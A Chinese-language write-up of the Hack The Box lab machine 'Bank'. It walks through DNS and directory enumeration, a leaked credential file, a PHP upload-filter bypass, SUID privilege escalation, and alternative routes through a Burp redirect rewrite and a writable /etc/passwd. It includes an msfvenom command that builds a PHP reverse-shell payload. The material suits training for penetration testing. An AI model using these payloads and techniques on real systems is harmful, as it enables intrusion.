Bank-Writeup

概述 (Overview)

75670182.png

  • MACHINE TAGS
    • SUID
    • Web

攻击链 (Kiillchain)

75681162.png

TTPs (Tactics, Techniques & Procedures)

  • nmap
  • nslookup && dig
  • gobuster
  • linenum

阶段1:枚举

老规矩 nmap 开启局,识别出 22,53,80。
85602813.png
53端口一般部署的DNS Server,为了性能考虑一般也会开发UDP的53端口。
85631130.png

浏览器查看下HTTP的服务,看到的是apache安装后的默认页面。gobuster 扫一遍下来也没有什么发现。

84025671.png

阶段2:工具和利用

阶段2.1: DNS信息枚举

尝试看看能否从DNS服务中获取获取到有效信息。

nslookup 命令可以指定查询的类型,可以查到DNS记录的生存时间还可以指定使用哪个DNS服务器进行解释。

进入交互模式后,设置要连接的域名服务器为 10.10.10.29,尝试查询连接的域名服务器主机名称或IP地址。可以看到当查询 bank.htb 域名时返回了一段主机名加IP的信息。
85207927.png
再用dig确认下:
86281413.png

dig(域信息搜索器)命令是一个用于询问 DNS 域名服务器的灵活的工具。

当修改好hosts后访问则显示了新的Web界面:

85184162.png
顺便在枚举一下域名,看看会不会存在其他的二级域名。
2844893.png

阶段2.2:目录枚举

在使用 gobuster 加 directory-list-2.3-medium.txt 枚举后,多个路径:
72874872.png
/balance-transfer 目录下发现很多 .acc 后缀的文件,点击size排序后发现特殊的明文Password。
4217414.png

cat ~/Downloads/68576f20e9732f1b2edc4df5b8533230.acc 
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===

通过该账号密码成功登录系统。
4384397.png

阶段2.3:File Upload

先生成一个反弹脚本:msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.16.6 LPORT=9990 -f raw -o shell.php

点击页面的文件上传后会提示错误,上传的必须是图片才行。

70747256.png

在网页源代码中发现一段遗留的注释,上传.htb后缀名的文件,用作PHP调试。

4427539.png
改完后缀直接上传即可。
70791551.png
70833058.png

成功上线,并在 /home/chris下成功找到Flag

阶段3:权限提升

上传 LinEnum.sh 至服务器,使用该脚本进一步分析。
74555169.png
注意到 chris 用户具备管理员组的权限,综合HTB的提示在SUID中发现了可以的命令 /var/htb/bin/emergency
75370751.png
直接运行该命令,得到了 root sh 会话。
75463944.png

非预期解法:User

在复盘IPPSEC的视频时,发现他是直接用burp请求 admin 页面,让后特换返回响应头将301的的跳转改为200(body数据已经显示但Header显示重定向,欺骗浏览器行为)。
78897485.png

学到了…

非预期解法:Root

也是复盘IPPSEC的视频,发现/etc/passwd所有用户都具有编辑功能。
82211180.png
直接生成一个自定义的的MD5-based口令,这里是ippsec
82170518.png
直接编辑保存 passwd 的内容即可,这样就可以用ippsec作为口令SSH登录root身份。
132b429b-def8-4b54-8bbf-c57d74b5ac1a.png

学到了…

参考